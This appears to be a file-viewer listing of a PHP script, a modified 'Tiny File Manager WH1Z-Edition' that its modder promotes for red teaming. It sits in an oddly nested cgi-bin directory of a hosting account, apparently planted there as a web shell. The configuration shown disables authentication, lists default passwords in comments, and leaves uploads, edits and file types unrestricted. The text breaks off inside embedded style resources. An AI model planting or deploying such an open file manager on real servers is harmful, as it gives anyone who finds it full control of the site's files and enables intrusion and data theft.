File "index.php"

Full Path: /home/gerstori/public_html/br/de/cgi-bin/cgi-bin/cgi-bin/du/cgi-bin/index.php
File size: 8 KB
MIME-type: text/x-php; charset=us-ascii
Charset: utf-8

<?php
//Default Configuration
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":false,"hide_Cols":false,"theme":"light"}';

/**
 * H3K | Tiny File Manager V2.5.3-WH1Z-Edition
 * @author CCP Programmers
 * @modder PinoyWH1Z
 * @mod-email g2mfuotbs@mozmail.com
 * @mod-github https://github.com/PinoyWH1Z/tinyfilemanager-wh1z-edition
 * @mod-note I made some changes/update to ensure that the file manager remains compact and doesn't rely on external resources. 
 * This modification can be incredibly useful for red teaming purposes.
 */

//TFM version
define('VERSION', '2.5.3-WH1Z-Edition');

//Application Title
define('APP_TITLE', 'Tiny File Manager [WH1Z-Edition]');
define('APP_TITLE_LOGIN', "Tiny File Manager<br>[WH1Z-Edition]");

// --- EDIT BELOW CONFIGURATION CAREFULLY ---

// Auth with login/password
// set true/false to enable/disable it
// Is independent from IP white- and blacklisting
$use_auth = false;

// Login user name and password
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash: Click Admin -> Help -> Generate new password hash
$auth_users = array(
    'admin' => '$2y$10$DzudaCo9XJ7BciLcU4rNaOSXwDx5rYmPRzsOJ4CXsVSkzm9g.Sz8W', //WH1Z@1337
    'user' => '$2y$10$Zdju9e.6o38Su430se1MA.oP0z9l0eF4jSQRExZ6rNkn4dN8C0hGC' //WH1Z123
);

// Readonly users
// e.g. array('users', 'guest', ...)
$readonly_users = array(
    'user'
);

// Global readonly, including when auth is not being used
$global_readonly = false;

// user specific directories
// array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)
$directories_users = array();

// Enable highlight.js (https://highlightjs.org/) on view's page
$use_highlightjs = true;

// highlight.js style
// for dark theme use 'ir-black'
$highlightjs_style = 'vs';

// Enable ace.js (https://ace.c9.io/) on view's page
$edit_files = true;

// Default timezone for date() and time()
// Doc - http://php.net/manual/en/timezones.php
$default_timezone = 'Etc/UTC'; // UTC

// Root path for file manager
// use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder'
$root_path = $_SERVER['DOCUMENT_ROOT'];

// Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder'
// Will not working if $root_path will be outside of server document root
$root_url = '';

// Server hostname. Can set manually if wrong
// $_SERVER['HTTP_HOST'].'/folder'
$http_host = $_SERVER['HTTP_HOST'];

// input encoding for iconv
$iconv_input_encoding = 'UTF-8';

// date() format for file modification date
// Doc - https://www.php.net/manual/en/function.date.php
$datetime_format = 'm/d/Y g:i A';

// Path display mode when viewing file information
// 'full' => show full path
// 'relative' => show path relative to root_path
// 'host' => show path on the host
$path_display_mode = 'full';

// Allowed file extensions for create and rename files
// e.g. 'txt,html,css,js'
$allowed_file_extensions = '';

// Allowed file extensions for upload files
// e.g. 'gif,png,jpg,html,txt'
$allowed_upload_extensions = '';

// Files and folders to excluded from listing
// e.g. array('myfile.html', 'personal-folder', '*.php', ...)
$exclude_items = array();

// Online office Docs Viewer
// Availabe rules are 'google', 'microsoft' or false
// Google => View documents using Google Docs Viewer
// Microsoft => View documents using Microsoft Web Apps Viewer
// false => disable online doc viewer
$online_viewer = 'google';

// Sticky Nav bar
// true => enable sticky header
// false => disable sticky header
$sticky_navbar = true;

// Maximum file upload size
// Increase the following values in php.ini to work properly
// memory_limit, upload_max_filesize, post_max_size
$max_upload_size_bytes = 5000000000; // size 5,000,000,000 bytes (~5GB)

// chunk size used for upload
// eg. decrease to 1MB if nginx reports problem 413 entity too large
$upload_chunk_size_bytes = 2000000; // chunk size 2,000,000 bytes (~2MB)

// Possible rules are 'OFF', 'AND' or 'OR'
// OFF => Don't check connection IP, defaults to OFF
// AND => Connection must be on the whitelist, and not on the blacklist
// OR => Connection must be on the whitelist, or not on the blacklist
$ip_ruleset = 'OFF';

// Should users be notified of their block?
$ip_silent = true;

// IP-addresses, both ipv4 and ipv6
$ip_whitelist = array(
    '127.0.0.1',    // local ipv4
    '::1'           // local ipv6
);

// IP-addresses, both ipv4 and ipv6
$ip_blacklist = array(
    '0.0.0.0',      // non-routable meta ipv4
    '::'            // non-routable meta ipv6
);

// if User has the external config file, try to use it to override the default config above [config.php]
// Intentionally disabled. To enable, refer to the orig author's site: https://tinyfilemanager.github.io/
/*
$config_file = __DIR__.'/config.php';
if (is_readable($config_file)) {
    @include($config_file);
}
*/

$highlightjs_style_resource = '';

if($highlightjs_style === 'ir-black'){
    $highlightjs_style_resource = 'cHJlIGNvZGUuaGxqc3tkaXNwbGF5OmJsb2NrO292ZXJmbG93LXg6YXV0bztwYWRkaW5nOjFlbX1jb2RlLmhsanN7cGFkZGluZzozcHggNXB4fS5obGpze2JhY2tncm91bmQ6IzAwMDtjb2xvcjojZjhmOGY4fS5obGpzLWNvbW1lbnQsLmhsanMtbWV0YSwuaGxqcy1xdW90ZXtjb2xvcjojN2M3YzdjfS5obGpzLWtleXdvcmQsLmhsanMtbmFtZSwuaGxqcy1zZWxlY3Rvci10YWcsLmhsanMtdGFne2NvbG9yOiM5NmNiZmV9LmhsanMtYXR0cmlidXRlLC5obGpzLXNlbGVjdG9yLWlke2NvbG9yOiNmZmZmYjZ9LmhsanMtYWRkaXRpb24sLmhsanMtc2VsZWN0b3ItYXR0ciwuaGxqcy1zZWxlY3Rvci1wc2V1ZG8sLmhsanMtc3RyaW5ne2NvbG9yOiNhOGZmNjB9LmhsanMtc3Vic3R7Y29sb3I6I2RhZWZhM30uaGxqcy1saW5rLC5obGpzLXJlZ2V4cHtjb2xvcjojZTljMDYyfS5obGpzLWRvY3RhZywuaGxqcy1zZWN0aW9uLC5obGpzLXRpdGxlLC5obGpzLXR5cGV7Y29sb3I6I2ZmZmZiNn0uaGxqcy1idWxsZXQsLmhsanMtbGl0ZXJhbCwuaGxqcy1zeW1ib2wsLmhsanMtdGVtcGxhdGUtdmFyaWFibGUsLmhsanMtdmFyaWFibGV7Y29sb3I6I2M2YzVmZX0uaGxqcy1kZWxldGlvbiwuaGxqcy1udW1iZXJ7Y29sb3I6I2ZmNzNmZH0uaGxqcy1lbXBoYXNpc3tmb250LXN0eWxlOml0YWxpY30uaGxqcy1zdHJvbmd7Zm9udC13ZWlnaHQ6NzAwfQ==';
}
else if($highlightjs_style === 'vs'){
    $highlightjs_style_resource = 'cHJlIGNvZGUuaGxqc3tkaXNwbGF5OmJsb2NrO292ZXJmbG93LXg6YXV0bztwYWRkaW5nOjFlbX1jb2RlLmhsanN7cGFkZGluZzozcHggNXB4fS5obGpze2JhY2tncm91bmQ6I2ZmZjtjb2xvcjojMDAwfS5obGpzLWNvbW1lbnQsLmhsanMtcXVvdGUsLmhsanMtdmFyaWFibGV7Y29sb3I6Z3JlZW59LmhsanMtYnVpbHRfaW4sLmhsanMta2V5d29yZCwuaGxqcy1uYW1lLC5obGpzLXNlbGVjdG9yLXRhZywuaGxqcy10YWd7Y29sb3I6IzAwZn0uaGxqcy1hZGRpdGlvbiwuaGxqcy1hdHRyaWJ1dGUsLmhsanMtbGl0ZXJhbCwuaGxqcy1zZWN0aW9uLC5obGpzLXN0cmluZywuaGxqcy10ZW1wbGF0ZS10YWcsLmhsanMtdGVtcGxhdGUtdmFyaWFibGUsLmhsanMtdGl0bGUsLmhsanMtdHlwZXtjb2xvcjojYTMxNTE1fS5obGpzLWRlbGV0aW9uLC5obGpzLW1ldGEsLmhsanMtc2VsZWN0b3ItYXR0ciwuaGxqcy1zZWxlY3Rvci1wc2V1ZG97Y29sb3I6IzJiOTFhZn0uaGxqcy1kb2N0YWd7Y29sb3I6Z3JleX0uaGxqcy1hdHRye2NvbG9yOnJlZH0uaGxqcy1idWxsZXQsLmhsanMtbGluaywuaGxqcy1zeW1ib2x7Y29sb3I6IzAwYjBlOH0uaGxqcy1lbXBoYXNpc3tmb250LXN0eWxlOml0YWxpY30uaGxqcy1zdHJvbmd7Zm9udC13ZWlnaHQ6NzAwfQ==';
}

// Embedded resources
$external = array(
    'css-bootstrap' => 'QGN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